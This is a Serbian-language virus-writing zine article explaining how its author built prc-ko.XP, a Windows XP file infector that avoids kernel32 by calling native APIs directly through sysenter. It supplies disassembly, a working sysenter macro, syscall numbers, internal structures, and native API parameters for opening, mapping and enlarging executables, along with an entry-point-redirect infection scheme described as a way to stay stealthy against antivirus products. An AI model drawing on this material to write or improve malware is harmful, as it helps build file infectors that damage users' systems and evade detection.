                                
                            ...................
                      ...::: phearless zine #2 :::...                       

...............>---[ prc-ko - the 4th Native API virus  ]---<...............

...........................>---[ by deroko ]---<............................
                                                     deroko[at]gmail[dot]com
                                                http://deroko.headcoders.net
                                                                


A. Uopste
       1. Kako je dobio ime?
       2. Otkud ideja za ovaj kod?
       3. Na cemu se zasniva?
B. Low-level XP kodiranje
       1. Objasnjenja oko win 32 APIja
       2. Pozivanje APIja direktno za XP 
       3. Interne Strukture koje sam koristio za prc-ko.XP i sta mu one dodju!?!?
       4. NT NATIVE API korisceni od strane prc-ko.XP
C PRC-KO.XP U PRAKSI
       1. Da vidimo da vidimo, okle prc-ko.XP-u direktorjum
       2. Ajde da trazimo malo fajlove
       3. Ono STO VAM NISU REKLI U SKOLI
       4. Prosta infekcija koju prc-ko.XP koristi i kako je uraditi       
D. Reference & toolz
F. Zahalnice/Pohvalnice

       
Sad kako da kazem "Disclaimer" iliti ogradjivanje od krivicnog gonjenja
Kod koji je ovde prezentovan je veoma tesko modifikovati da pravi stetu i zato 
je prezentovan u naucne svrhe. Posle procitanog teksta shvaticete da je ovo samo 
sizifov posao, pisanje ovakvog virusa i zato treba koristiti samo Win32 APIje 
exportovane u kernel32.dll i drugim dllovima. Ja ne mogu biti odgovoran za bilo 
kakvu stetu koju koriscenjem ovog koda prouzrokujete, kako sebi, kako drugom. 
Napominjem opet da ovaj kod nije podesan za pravljenje stete jer tako nesto
preko NT native apija zahteva dosta kodiranja i samim tim je sizifov, ali ne i 
nemoguc posao. Ako imate zivaca da tracujete kernel32 apije kroz olly dbg i 
slicno, znaci ili da ste blesav (hello) ili da nemate pametnija posla u zivotu 
(opet hello)!! Pa da pocnemo sa ovim tekstom:

A. Uopste

1. Kako je dobio ime?
Naime sam kod prc-ko je u pocetku trebalo da se zove prc sto bi bilo skraceno od
proof of concept, a ujedno bi na nasim jezicima znacilo zajebati, onako podmuklo.
-> Ala te je prcnuo - Zajebao. No medjutim posle price sa ortacima na ircu, sam 
govorio idem da radim prc-ka, prc-ko ce ovo itd...pa sam ga konacno i nazvao tim
imenom, prc-ko :) PRC-KOMPANIJA :) No nebitno, koga zanima ime nekog infectora? 
Ko da je to najvaznije? Mozda i jeste, ali idemo dalje...

2. Otkud ideja za ovaj kod?
Ovako, posto sam zavrsio svoj prvi virus, blackhand.w32, iliti poznatiji kao 
DeadCode.a/b, koji se nigde ne siri vec zahvaljujuci AV kompaniji Sophos je postao 
popularan, odlucio sam da uradim nesto novo, prateci desavanja na VX sceni u svetu 
video sam da postoji 3-4 virusa koji koriste native APIje ali preko int 2eh sto 
je karakteristicno za win2k i ranije NT, medjutim na winXP prica je slicna, ne 
istovetna, zato prc-ko ima oznaku XP. Naime ovo je bila trka sa samim sobom i zelja
da se dobro namucim (koji sam mazohista) i da napravim nesto novo za XP. Tako je
i dosla ideja, a sa njom i radom ovaj infektor (virus je preostro ime za ovaj kod)...

3. Na cemu se zasniva?
Naime vecina virusa, infektora, koristi APIje exportovane iz kernel32.dll, da bi
otvarala fajlove, inficirala, ispisivala poruke, radila nesto zlocesto. 
kernel32.dll je majka po tom pitanju jer ima dve bitne funkcije, LoadLibraryA i
GetProcAddress, ako nadjemo te 2 funkcije u virusu mozemo da korsitimo sta god 
hocemo i iz bilo kog dll-a. Medjutim podjimo od pretpostavke da ne zelimo da 
koristimo exportovane funkcije iz kernel32.dll vec da ocemo direktno da 
komuniciramo sa kernelom. E tu moramo da se spustimo bas low-level i da tracujemo 
sve APIje kroz kernel32.dll do njihovog konacnog ulaska u kernel (ring 0 ubuduce). 
Ova tehnika ima prednosti i mane. 
Prednosti :
      - ne moramo da trazimo adresu kernel32.dll
      - ne moramo da pisemo nas GetProcAddress
      - ne moramo da vodimo racuna o tome gde smestamo adrese apija za kasnije pozivanje
      - mozemo da pisemo male viruse koji ce biti stealth za vecinu AV prozivoda
      - Jebemo Kasperskog u zdrav mozak
      - Izludjujemo AV kompanije koje pokusavaju da singl-stepuju nas virus
      - itd itd... Ako se setim dopisacu
Mane:
      - ekstremno tesko za pisanje
      - Losa dokumentacija (ni DDK ne pomaze bas uvek sa svojim "jasnim" objasnjenjima
      - Kad jebemo analizu virusa, jebemo i sebe kod debugovanja
      - Veoma malo izvora o doticnim APIjima i strukturama koje interno koriste
        (hello, hvala bogu pa je procureo win2k src i to bas i/o deo pa nije bilo
         toliko strasno)
      - Nema vise mana, ovo su najvece mane sa kojima se moze jedan programer, 
        koder susresti
                       
B. Low-level XP kodiranje

1. Objasnjenje oko win 32 APIja
Vecina APIja koje exportuje kernel32.dll se mahom oslanjaju na APIje koje 
exportuje ntdll.dll.
Neke API iz kernel32 su samo shortcut za druge APIje u kernel32.
Primeri takvih APIja su, recimo, CreateThread i VirtualAlloc/VirtualFree, a 
takodje ima i APIja koje od windows programer prave debila -> GetCurrentProcess,
GetCurrentThread, i ExitProcess. Sad cu svaku od ovih API da objasnim pojedinacno
uz primer iz IDA da sve bude jasno.

       .text:77E79C90 GetCurrentProcess proc near   
       .text:77E79C90                               
       .text:77E79C90                 or      eax, 0FFFFFFFFh
       .text:77E79C93                 retn
       .text:77E79C93 GetCurrentProcess endp
       
Isti je slucaj i sa GetCurrentThread, potpuno isti kod, naime kao sto vidite handle 
od trenutnog procesa, koliko sam shvatio iz dokumentacije, je pseudo-handle za 
trenutni proces. Naime ova funkcija kao pseudohandle vraca -1, or eax, 0FFFFFFFFh 
je isto kao i mov eax, -1 ili mov eax, 0FFFFFFFFh (ovo svi znaju da je 
-1 = 0xffffffff tako da je ovaj deo koda bespotreban) Sad posto znamo sta je
pseduo-handle naseg procesa (-1) mozemo dalje analizirati ExitProcess
       
       .text:77E75CB5 ExitProcess     proc near  
       .text:77E75CB5                            
       .text:77E75CB5
       .text:77E75CB5 uExitCode       = dword ptr  8
       .text:77E75CB5
       .text:77E75CB5                 push    ebp
       .text:77E75CB6                 mov     ebp, esp
       .text:77E75CB8                 push    0FFFFFFFFh
       .text:77E75CBA                 push    offset off_77E8F3B0
       .text:77E75CBF                 push    [ebp+uExitCode]
       .text:77E75CC2                 call    sub_77E75C4D
       .text:77E75CC7                 jmp     TerminateProcess
       .text:77E75CC7 ExitProcess     endp

Naime ExitProcess se u dokumentaciji definise kao API koji ce unloadovati sve 
dll-ove i ugasiti proces, dok se TerminateProcess ne preporucuje jer dll-ovi nece 
znati da je proces zbog kojeg su ucitani ugasen.
Zato i imamo ovo call sub_77E754CD sto mu dodje ovo:
       
       .text:77E75C4D sub_77E75C4D    proc near               ; CODE XREF: ExitProcess+Dp
       .text:77E75C4D                 push    0CCh
       .text:77E75C52                 push    offset dword_77E81C08
       .text:77E75C57                 call    sub_77E774E1
       .text:77E75C5C                 xor     ebx, ebx
       .text:77E75C5E                 cmp     byte_77ED6008, bl
       .text:77E75C64                 jnz     short loc_77E75CAD
       .text:77E75C66                 call    ds:RtlAcquirePebLock
       .text:77E75C6C                 mov     [ebp-4], ebx
       .text:77E75C6F                 mov     edi, [ebp+8]
       .text:77E75C72                 push    edi
       .text:77E75C73                 push    ebx
       .text:77E75C74                 mov     esi, ds:NtTerminateProcess
       .text:77E75C7A                 call    esi ; NtTerminateProcess
       .text:77E75C7C                 mov     [ebp-1Ch], eax
       .text:77E75C7F                 call    LdrShutdownProcess
       .text:77E75C84                 mov     [ebp-0B4h], edi
       .text:77E75C8A                 push    4
       .text:77E75C8C                 push    10003h
       .text:77E75C91                 push    ebx
       .text:77E75C92                 lea     eax, [ebp-0DCh]
       .text:77E75C98                 push    eax
       .text:77E75C99                 call    ds:CsrClientCallServer
       .text:77E75C9F                 push    edi
       .text:77E75CA0                 push    0FFFFFFFFh
       .text:77E75CA2                 call    esi ; NtTerminateProcess
       .text:77E75CA4                 or      dword ptr [ebp-4], 0FFFFFFFFh
       .text:77E75CA8                 call    loc_77EA39FC
       
Na liniji .text:77E75C72 guramo exit code, a na sledecoj process handle. Posle 
debugovanja ispada da su ti brojevi 0 tako da se nas proces ne gasi, vec se ide 
dalje pa se poziva LdrShutdownProcess koja je exportovana u ntdll.dll, nisam 
siguran cemu sluzi ova f-ja ali moja najbolja pretpostavka je da ona gasi dll-ove 
koji su ucitani, takodje unutar nje se pali/gasi NTCrtiivalSection, o cemu ne 
znam mnogo, ali je ELicZ to pokusao da objasni svojim radom i o tome mozete videti 
vise u delu reference. No kad smo pogasili sve dll-ove (valjda?!?) sledi poziv 
za NtTerminateProcess na liniji .text:77E75CA2, kao sto se vidi predaje se exit 
code u edi, proces handle 0xFFFFFFFF i idemo u ntdll da pozovemo NtTerminateProcess 
koji ce ugasiti nas proces.

Sintaksa za TerminateProcess je (process handle, exit code) i to u kernel32.dll 
izgleda ovako:
       .text:77E616B4 TerminateProcess proc near              ; CODE XREF: ExitProcess+12j
       .text:77E616B4                                         ; sub_77EC8AD6+DAp
       .text:77E616B4
       .text:77E616B4 hProcess        = dword ptr  4
       .text:77E616B4 uExitCode       = dword ptr  8
       .text:77E616B4
       .text:77E616B4                 cmp     [esp+hProcess], 0
       .text:77E616B9                 jz      short loc_77E616D3
       .text:77E616BB                 push    [esp+uExitCode]
       .text:77E616BF                 push    [esp+4+hProcess]
       .text:77E616C3                 call    ds:NtTerminateProcess
       .text:77E616C9                 test    eax, eax
       .text:77E616CB                 jl      short loc_77E616DC
       .text:77E616CD                 xor     eax, eax
       .text:77E616CF                 inc     eax
       .text:77E616D0
       .text:77E616D0 locret_77E616D0:                        ; CODE XREF: TerminateProcess+30j
       .text:77E616D0                 retn    8

Prosto i jasno. TerminateProcess je ustvari rewrite za NtTerminateProcess i
sintaksa im je ista tako da ovo ne treba detaljno objasnjavati.

Isti je slucaj i sa CreateThread i VirtualAlloc.
Njihova sintaksa i sta pozivaju:

       LPVOID VirtualAlloc(

        LPVOID lpAddress,	       // address of region to reserve or commit  
        DWORD dwSize,	       // size of region 
        DWORD flAllocationType,	// type of allocation 
        DWORD flProtect 	       // type of access protection 
       );

       poziva VirtualAllocEx koja sluzi za alociranje memorije u drugom procesu :

       LPVOID VirtualAllocEx(

        HANDLE hProcess,	       // process within which to allocate memory  
        LPVOID lpAddress,	       // desired starting address of allocation 
        DWORD dwSize,	       // size, in bytes, of region to allocate 
        DWORD flAllocationType,	// type of allocation 
        DWORD flProtect     	// type of access protection
        );
   
       Dakle VirtualAlloc radi ovo:
       LPOVID VirtualAlloc (

        LPVOID lpAddress,	  
        DWORD dwSize,	 
        DWORD flAllocationType,	 
        DWORD flProtect 	 
   ){
       return     VirtualAllocEx(-1, lpAddress, dwSize, flAllocationType, flProtect);
    }
Dalje sve zavisi od VirtualAllocEx i funkcije koju poziva iz ntdll.dll a to je 
NtAllocateVirtualMemory cija je sintaksa sledeca :

       NTSYSAPI 
       NTSTATUS
       NTAPI
       NtAllocateVirtualMemory(

        IN HANDLE               ProcessHandle,
        IN OUT PVOID            *BaseAddress,
        IN ULONG                ZeroBits,
        IN OUT PULONG           RegionSize,
        IN ULONG                AllocationType,
        IN ULONG                Protect );

ProcessHandle  - 1 za nas proces, handle bilo kog drugog procesa ko u njemu ocemo 
                 da alociramo memoriju
BaseAddress    - je pointer na promenljivu koja prima adresu, ako ocemo da mapiramo 
                 memorju na odredjenom mestu ova promenljiva mora da sadrzi tu 
                 adresu u suprotnom promenljiva mora da bude postavljena na 0... 
                 Ne mozete poslati null kao parametar jer je ovo IN OUT argument, 
                 sto znaci da funkcija u njemu vraca ujedno adresu (nemojte se 
                 zajebati pa ne postaviti ovo na 0 jer funkcija nece uspeti ili
                 hoce ako znate tacno koju ste memorijsku adresu hteli da 
                 alocirate)
ZeroBits       - sam kernel32 kaze da ovo treba da bude 0 pa i mi kazemo 0
RegionSize     - koliko memorije alocirati
AllocationType - MEM_COMMIT ili MEM_RESERVE
Protect        - neki od PAGE_* PAGE_READWRITE, PAGE_EXECUTE, itd...

Ista prica je i sa CreateThread i CreateRemoteThread... na kraju se sve svodi na
NtCreateThread i jos par apija exportovanih iz ntdll-a...

No sad kad znamo da se sve svodi na kraju na ntdll predjimo na pravu stvar ->


2. Pozivanje APIja direktno za XP

Ovo ne samo da je lako, vec sto je najcrnje moguce je, mana ovoga je sto gubimo 
portabilnost koda. No da ne duzim prci, ajde da vidimo kako izgleda NtTerminateProcess 
u ntdll.dll za XP. Paznja ovo ce da radi samo na XP ali ne i na win2k jer win2k
koristi int 2eh da se prebaci u kernel (ring 0)...

       .text:77F7F3C3                 mov     eax, 101h
       .text:77F7F3C8                 mov     edx, 7FFE0300h
       .text:77F7F3CD                 call    edx
       .text:77F7F3CF                 retn    8

       EAX = syscall number
       EDX = 7FFE0300h
       call   edx
       
       Naime ovo ce prebaciti izvrsavanje koda na sledecu memorijsku adresu :
       7FFE0300   8BD4             MOV EDX,ESP
       7FFE0302   0F34             SYSENTER
       7FFE0304   C3               RETN
       
Koliko sam ja skapirao ta memorijska adresa predtavlja :
SharedUserData!SystemCallStub iliti deo memorije kome svi procesi imaju pristup.
       
Naime, kako kaze dokumentacija i DDK, sysenter se koristi umesto ranijeg int 2eh,
jer je brzi za prebacivanje u CPL=0 (ring0)... 
Dakle ako pozovemo NtTerminateProcess u eax stavljamo syscall = 101h u edx adresu 
od SharedUserData i idemo tamo. U SharedUserData imamo sledece -> eax = syscallnumber, 
a edx uzima ESP kako bi kernel znao gde su argumetni za funkciju koju pozivamo. 
Ovo u mov edx, esp je obavezno jer ce sysenter da popuni ESP i EIP i CS/SS sa 
vrednostima koje su neophodne za rad u ring0. 
       
Naime analizirajuci ovaj kod, moguce je uvideti da ovo nije tesko prepisati da umesto 
call NtTerminateProcess, -1, 0 NtTerminateProcess pozivamo direktno preko sysenter.
       
Kvacica koja ovde postoji a koju cu vam sad obajsniti je sledeca:
       
       call   NtTerminaProcess, -1, 0  <-> nas stack izgleda ovako:
       |00000000|
       |FFFFFFFF|
       |savedEIP|
       mov    eax, 101h
       mov    edx, 7FFE0300h
       call   edx
       |savedEIP|
       mov    edx, esp
       sysenter
       
Dakle ako hocete da pozovete NtTerminateProcess preko sysenter vas stack mora
izgledati ovako

       |00000000|
       |FFFFFFFF|
       |dummyEIP|
       |dummyEIP|
       mov    eax, 101h
       mov    edx, esp
       sysenter
       
E sad to ne bi blio sve, ovakav stack radi kad mi pozivamo NtTerminateProcess, 
ali nece sa ostalim NT apijima... 
Evo sta sam ja skontao posle malo debugovanja (mozda i pise negde, da ga jebem, 
ne znam) Naime sysenter ce po povratku iz ring0 pokupiti prvi EIP sa stacka 
(ring 3, esp) i nastaviti izvrsavanje u ring 3 (mozda to radi sysexit ko bi ga znao)...
Dakle STACK mora biti ovako formiran :
       |00000000|
       |FFFFFFFF|
       |dymmyEIP|
       |good EIP|
       mov    eax, 101h
       mov    edx, esp
       sysenter
       
Doduse kod NtTerminateProcess nije potreban EIP sledece instrukcije jer se proces 
gasi, ali je kod svih ostalih to neophodno. Sad je vreme za kod iz prc-ko.XP za 
vise objasnjenja.
       
       @sysenter            macro  syscall, parameters
                            local  __@@1, __@@2
                            push   eax                  
                            jmp    __@@2      
       __@@1:    
                            mov    eax, syscall    
                            mov    edx, esp
                            dw     340Fh                   ;sysenter 0F34h 
       __@@2:
                            call   __@@1
                            add    esp, (parameters*4) + 4 
       endm 
       
Naime da bi lakse pozivao sysenter i cistio stack napravio sam ovaj mali makro.
Nejgova sintaksa je sledeca
     
       @sysenter       syscall_number, broj_argumenata koje syscall prima

       Primer:     
              NtTerminateProcess     equ    101h
     
              push     0
              push     -1
              @sysenter       NtTerminateProcess, 2
                        
       Ok da se vratim ovom makrou:
              push   eax
                     je onaj dummy EIP koji nicemu ne sluzi
              jmp    __@@2 i call __@@1 
Ostavice nam na stacku EIP sledece instrukcije, a to je instrukcija za ciscenje
stacka
              mov     eax, syscall
              mov     edx, esp
              dw      340Fh
su vec objasnjeni, naime dw 340Fh je ustvari 0F34h iliti sysenter, moj TASM nije
hteo da kompajlira instrukciju sysenter pa sam morao rucno da je pisem (c/p iz
olly dbg)
              add    esp, (parameters*4) + 4 
je jasno, cistimo stack broj_parametra*4 + dummy eip i stack opet pokazuje na 
ono sto je bilo pre ulaska u funkciju... Jasno ko dan

Na ovaj nacin i preko ovog makroa na XP mozete pozvati bilo koju funkciju bez 
potrebe da cackate po ntdll.dll ili kernel32.dll iz svog virusa. Nesto kao 
shellcode ili virus za unix gde se poziva samo int 0x80, ali komplikovanije jer 
na unixu su syscallovi vise nego odlicno dokumentovani, a ne windosu?!?!?
DOKUMENTACIJA JE UZAS, muda su mi do patosa, podocnjaci se sa njima trkaju, ko 
ce pre do zemlje... STRASNO!!!!!!!
       
Syscall brojevi se dobiaju prostim dissemblovanjem ntdll...                       
       .text:77F7E703 NtCreateThread  proc near               
       .text:77F7E703                 mov     eax, 35h        ; NtCreateThread
       .text:77F7E708                 mov     edx, 7FFE0300h
       .text:77F7E70D                 call    edx
       .text:77F7E70F                 retn    20h
       .text:77F7E70F NtCreateThread  end
Znaci 35h... i tako dalje, u prc-ko.xp source kodu imate vecinu potrebnih
syscall brojeva za pozivanje nekih korisnih NT apija, potrebnih za pisanje virusa.

3. Interne Strukture koje sam koristio za prc-ko.XP i sta mu one dodju!?!?

       IO_STATUS_BLOCK      STRUCT
              ISB_Ntstatus  dd     ?     ;pointer to NTSTATUS struct
              ISB_inform    dd     ?     ;Information eg. FILE_OPENED, FILE_SUPERSEDED etc..
       IO_STATUS_BLOCK      ENDS

Ova struktura sluzi za primanje statusa funkcija (I/O funckija, rad oko fajlova, 
drajvera itd) Bitna je za debugovanje, ali ne toliko za sam kod virusa, ali je 
moramo predati funkcijama koje je traze

       OBJECT_ATTRIBUTES    STRUCT
              Length        dd     ?      ;len of struct
              RootDir       dd     ?      ;Handle to root dir 
              ObjectName    dd     ?      ;pointer to UNICODE_STRING
              Attributes    dd     ?      ;heh not sure how to explain
              SecurityDesc  dd     ?      ;Set to null for default SecurityDescriptor
              SecQualityOfS dd     ?      ;Set to 0 InitializeObjectAttributes so it is 0 always
       OBJECT_ATTRIBUTES    ENDS

Ovo je najvaznija struktura za rad sa fajlovima, ko zna gde sve ima primenu, ali
sam je detaljno porucio radeci sa fajlovima i pisanjem prc-ko.XP-a...
Length  - duzina same strukture, sto je 0x18 ili 24 decimalno
RootDir - handle od trenutnog direktorijuma ili 0 ako kao ObjectName dajete NT 
          path do fajla ovaj podatak se moze dobiti iz PEB/_RTL_USER_PROCESS_PARAMETERS/CURDIR
ObjectName - e ovo je pointer na UNICODE_STRING strukturu (iliti kako je ja zovem
             AU_STRING)naime STRUKTURA mora da pokazuje na fajl u NT formatu ako 
             je RootDir = 0 ili samo na ime fajla ako kao RootDir dajete handle 
             trenutnog direktorijuma koji mozete dobiti sa NtOpenFile ili iz PEB-a
                    
                    RootDir == 0
                    putanja do fajla \??\C:\tasm32\prc-ko\prc-ko.exe (UNICODE)
                    RootDir != 0 
                    putanja do fajla prc-ko.exe (UNICODE) 
Attributes - Nisam siguran sta ovo znaci ali prilikom otvaranja direktrijuma i 
             fajlova mora da bude podesen na 40h iliti OBJ_CASE_INSENSITIVE... 
             Evo objanjenja iz DDK Is a set of flags that controls the file object 
             attributes. This value can be zero or OBJ_CASE_INSENSITIVE, which 
             indicates that name-lookup code should ignore the
             case of ObjectName rather than performing an exact-match search.
             Drugim recima ako je fajl prc-ko.asm i nije setovan ovaj FLAG a mi 
             trazimo PRC-KO.ASM, necemo ga naci, znaci ovaj flag-setujete uvek i
             nema da boli glava 
       SecurityDescriptor - na 0
       SecurityQualityOfService - i njega na 0
       (ova dva niakd nisam razumeo sta rade a i InitializeObjectAttributes) po 
       defaultu ovaj poslednji setuje na 0 i sta ima da se mucimo... ako je 0 uvek, 
       znaci da nam nije bitan, moj moto...)

       AU_STRING            STRUCT
              len           dw   ?
              maxlen        dw   ?
              buff          dd   ?
       AU_STRING            ENDS
                     
Ova struktura je u stvari cuveni UNICODE_STRING ili ANSI_STRING, iste strukture 
razlicita imena, pa ja to skraceno zovem AU_STRING. Kratko i jasno :
len    - duzina stringa bez 0x00 ili 0x00 0x00 na kraju ako je rec o asni/unicode
maxlen - duzina stringa ukljucujuci 0x00 ili 0x00 0x00 na kraju u zavisnosti od 
         ansi/unicode
buff   - pointer na ansi ili unicode string
Ova sruktura se lako popunjava preko RtlInitUnicodeString, a ako pokrenemo IDA, 
za manje od 2min dolazimo do odgovrajuceg resenja. Kompletan rewrite ove funkcije
(bas kao i u ntdll) imate u prc-ko.xp source kodu...                    

       FILE_BOTH_DIRECTORY_INFORMATION STRUCT
              NextEntryOffset      dd     ?
              Unknown              dd     ?
              CreationTime         dq     ?
              LastAccessTime       dq     ?
              LastWriteTime        dq     ?
              ChangeTime           dq     ?
              EndOfFile            dq     ?
              AllocationSize       dq     ?
              FileAttributes       dd     ?
              FileNameLength       dd     ?
              EaInfomrationLength  dd     ?
              AltenateNameLength   db     ?
              AlternateName        dw     12     dup (?)
              dummychar            db     ?        ;alignemnt
              FileName             dw     ?        ;here starts unicode file name
       FILE_BOTH_DIRECTORY_INFORMATION ENDS
                       
E ova struktura mi je bila najvaznija kad sam pokusavao da najdem fajlove preko 
NT native apija. Ovu strukturu sam uspeo da nadjem na rootkit.host.sk (Holly_Father)
i tekstu u pogledu nevidiljovisti na NT, strasan text, za vise pogledajte u odeljak 
reference. Naime ova struktura se koristi od strane FindFirstFile i FindNextFile
koje pozivaju NTQueryDirectoryFile sa klasom FileBothDirectoryInformation iliti 3...
Ovako, nama je bitno kod ove strukture sledece -> FileName i FileNameLength
FileName - je prvi wide char (na NT interno sve je UNICODE) koji se ne zavrsava 
sa 0x00 x 2 (unicode) FileNameLength - je u bajtovima duzina FileName tako da 
znamo gde da stavimo 0x00 x 2 NextEntryOffset - je bitno ako odlucite da prilikom 
NtQueryDirectoryFile vrati sve fajlove, jer cete u tom slucaju dobiti poveci niz
ovih struktura, a pomocu NextEntryOffset cete znati gde se nalazi sledeca struktura.
No ako kod NtQueryDiectoryFile stavimo TRUE kod ReturnSingleEntry parametra
onda nam ovaj deo strukture ni ne treba.
                         
To je to sto se tice samih struktura

4. NT NATIVE API korisceni od strane prc-ko.XP

Prvo i najvaznije je da svi podaci koji se daju kernelu (ring 0) moraju biti 
poravnati na odredjen adrese, ja mislim da je u pitanju aligment 4, ali ne mogu
sa sigurnoscu da tvrdim. Moj probelm je u pocetku bio da je NtCreateFile pravio
fajl ZWERk (5 karaktera), ali nije hteo da pravi duze ili krace. Premda je ceo 
kod bio isti. Tracovanjem samog CreateFileA -> CreateFileW isti parametri, sve 
je bilo isto kao i iz mog NtCreateFile, medjutim, posle koriscenja strace za 
XP dobijao sam stalno STATUS_DATATYPE_MISALIGNMENT, cupao kosu, nervirao se i 
pade mi najednom nesto napamet... Reko, ajde da sve stringove, sve zivo radim 
preko stacka ili heap-a. Vidim ja RtlCreateHeap, RtlFreeHeap, pa svi argumetni 
se nalaze na heapu ili na stacku. Probam ja tako, alociram 256 dw na stacku i 
opalim NtCreateFile... b00m... pravi male i velike, sitne i debele :)
Dakle rec je o alignmentu podataka, moja dva stava na ovu temu su sledeca:
      1. Ili se podaci moraju praviti na delu memorije koje ring0 i ring3 vide 
         (stack/heap) jer su podaci o oba smesteni u TEB i PEB (TEB-stack, PEB-Heap)
      2. Ili je mozda rec o tome da podaci moraju da se nalaze na odredjenom 
         alignemntu? 4? PAGE_SIZE? ne znam, nisam ekperimentisao, kako kaze ona
         reklama "Ne znam, nisam pametan" Stvarno ne znam, nisam siguran, nisam
         pametan da dam odgovor na ovo pitanje, mozda je ELicZ dao odgovor na ovo
         pitanje na svom sajtu... Taj lik razbija NT internale... No kako bilo 
         dosao sam do pravog resenja, onog koje radi, i turio sve podatke u 
         lokalne promenljive na stack i glava ne boli...

Sto se tice NT Native APIja koriscenih od strane prc-ko.XP to su sledeci i 
njihovi brojevi:

       NtOpenFile                           equ     74h
       NtClose                              equ     19h
       NtCreateSection                      equ     32h
       NtMapViewOfSection                   equ     6Ch     
       NtUnmapViewOfSection                 equ    10Bh
       NtQueryDirectoryFile                 equ     91h
       NtQueryInformationFile               equ     97h
       
Ovako, posto me krajnje mrzi da svaki argument objasnjvama za svaku funkciju i 
pogotovo sto nisam najsigurniji sta koji argument predstavlja, uputicu vas na 
sajt NT Undocumented koji sadrzi odlican chm fajl u pogledu svih undocumented 
funkcija uz objasnjenje njihovih parametara. Vecina argumenata koje predajem
funkcijama, su dobijeni prostim debugovanjem i tracovanjem kernel32 APIja kroz 
olly, tako da neki su mi taboo, a neke sam skapirao i lepo koristio.
       
Sto se tice implementacije GetFileSize u prc-ko.xp mogu reci da je ona komplet 
Rewrite kernel32.dll GetFileSize uz izuzetak da ne prima sugavi 2gi parametar 
koji je je null u vecini slucajeva. Neki djoka, hilow word...jebes ga, nije potreban...
       
Prilikom pisanja prc-ko.xp sam poludeo kod NtMapViewOsSection i NtCreateSection, 
oba ko za inat traze qword (LARG_INTEGER) tako da nemo se zajebete pa to da previdite. 
Lepo pise u NT Undocumented LARGE_INTEGER, a ja ko somina guram DWORD, pa nije ni 
cudo sto nije htelo da radi. E ovo sve kad se zavrsi ide prosta infekcija.
Dodavanje u poslednji section, redirect EP na virus, kad zavrsi nazad na pravi 
program. Prosta infekcija, laka za implementiranje, drugim recima, pickin dim...
No vratimo se na APIje i da pokusam da ih objasnim :) Niste valjda mislili da cu
stvarno da vas pustim same da ovo analizirate :))))) Nene :) Ovo ce da bude lep 
tutorial :)
       
NtClose  : je isto sto i CloseHandle, prima 1 paramtera a to je handle procesa, 
fajla, mapiranog sectiona ili sta vec, kao i CloseHandle, sintaksa je ista...

       NtOpenFile :
       Argumenti :
         OUT PHANDLE             FileHandle,
         IN ACCESS_MASK          DesiredAccess,
         IN POBJECT_ATTRIBUTES   ObjectAttributes,
         OUT PIO_STATUS_BLOCK    IoStatusBlock,
         IN ULONG                ShareAccess,
         IN ULONG                OpenOptions
         
FileHandle - pointer na promenljivu koja prima FileHandle posle uspesnog poziva 
funkcije ACCESS_MASK - moze biti FILE_GENERIC_READ ili FILE_GENERIC_WRITE (ne 
GENERIC_READ ili GENERCI_WRITE) za vise imate u DDK, a za pisanje virusa ovo je 
dovoljno

ObjectAttributes - pointer na ObjectAtributes strukturu koja je objanjena gore
IoStatusBlock    - pointer na struktur IO_STATUS_BLOCK iz koje mozete saznati 
                   zasto funkcija nije uspela ili ako je uspesna da li je fajl
                   OTVOREN (FILE_OPENED u infomration)
ShareAccess      - Kao i svuda, share access (dobijeno tracovanjem FindFirstFile)
OpenOptions      - Nemam pojma sta je ovo, ali i njega sam dobio prostim tracovanjem
                   O ovom parametru ima vise u procurelom kodu win2k :) 
                   Nasa sreca pa je procureo ceo I/O deo ntoskrnl-a :))))))
                   Billy you stink :)



       NtCreateSection(

       OUT PHANDLE             SectionHandle,
       IN ULONG                DesiredAccess,
       IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,
       IN PLARGE_INTEGER       MaximumSize OPTIONAL,
       IN ULONG                PageAttributess,
       IN ULONG                SectionAttributes,
  I    N HANDLE               FileHandle OPTIONAL )
Interno se poziva od strane CreateFileMappingA/W
  
SectionHandle - pointer na pormenljivu koja prima section-handler, takodje ovo 
                cudo se zatvara sa NtClose    
DesiredAccess - 0F0007h, ne znam sta mu ovo dodje ali tako ispada tracovanjem
                mozda bi dublje analize i traganje po DDK dalo rezultata ali me
                mrzi da to radim jer moram da ucim za fax
ObjectAtrributes - null jer je optional (ako je ovo NULL onda FileHandle mora biti 
                   ispravan) NT koristi Optional na vise mesta, sto podrazumeva da 
                   ako je jedan OPTIONAL null drugi mora biti prosledjen
MaximumSize - ovo je qword, ako mapiramo fajl moze biti null ako zelimo da mapiramo 
              samo velicinu fajla, medjutim kad pisemo virus mi ocemo da uvecamo
              fajl, dakle ovaj qword mora biti setovan na file-size + 1000h (ja 
              koristim 1000h za virus) Ne znam sta ce mi toliko, ali neka bude
              PAGE_ALIGNED :)

PageAttributes   - PAGE_READWRITE
SectionAttrributes - SEC_FILE 
                            SEC_IMAGE 
                            SEC_RESERVE 
                            SEC_COMMIT 
                            SEC_NOCACHE
Moze da bude kombinacija ovih flagova, kako me mrzi da im nalazim pravo 
znacenje i da kopam po DDK, ja traceom dobih 80000000h i radi odlicno
FileHandle          -  FileHandle koji smo dobili sa NtOpenFile (NE POINTER NA 
FILE HANDLE)


E ovo je smrt procedura, tako laka preko kernel32.dll tako jebena preko ring0 :)       
NtMapViewOfSection(

       IN HANDLE               SectionHandle,
       IN HANDLE               ProcessHandle,
       IN OUT PVOID            *BaseAddress OPTIONAL,
       IN ULONG                ZeroBits OPTIONAL,
       IN ULONG                CommitSize,
       IN OUT PLARGE_INTEGER   SectionOffset OPTIONAL,
       IN OUT PULONG           ViewSize,
       IN SECTION_INHERIT      InheritDisposition,
       IN ULONG                AllocationType OPTIONAL,
       IN ULONG                Protect );                
  
SectionHandle - handle koji smo dobili sa NtCreateSection
ProcessHandle - Evo onog process handle!?!? -1 za nas proces :)
BaseAddress   - Pa iako kazu Optional moramo dati parametar, dakle pointer na 
                promenljivu koja prima adresu mapiranog sectiona. promenljivu 
                postaviti na 0 ako ocete da se memorija bilo gde alocira ili na
                odredjenu vrednost ako vam je stalo da se memorija locira na 
                odredjenom mestu

ZeroBits      -     ??? nula, ko ga jebe kad je optional
CommitSize    -     postavljeno na null od strane kernel32, pa ga i ja postavljam
                    na 0
SectionSizeOffset - qword, postaviti qword na 0 jer zelimo da mapiranje pocne od
                    pocetka sectiona koji smo napravili sa NtCreateSection
ViewSize          - Velicina fajal + extra dodtaka za virus (ono sto je kod NtCreateSection
                    MaximumSize iliti qword, ovde je dword ali ista velicina) Uz
                    to ovo je pointer na promenljivu jer je IN OUT
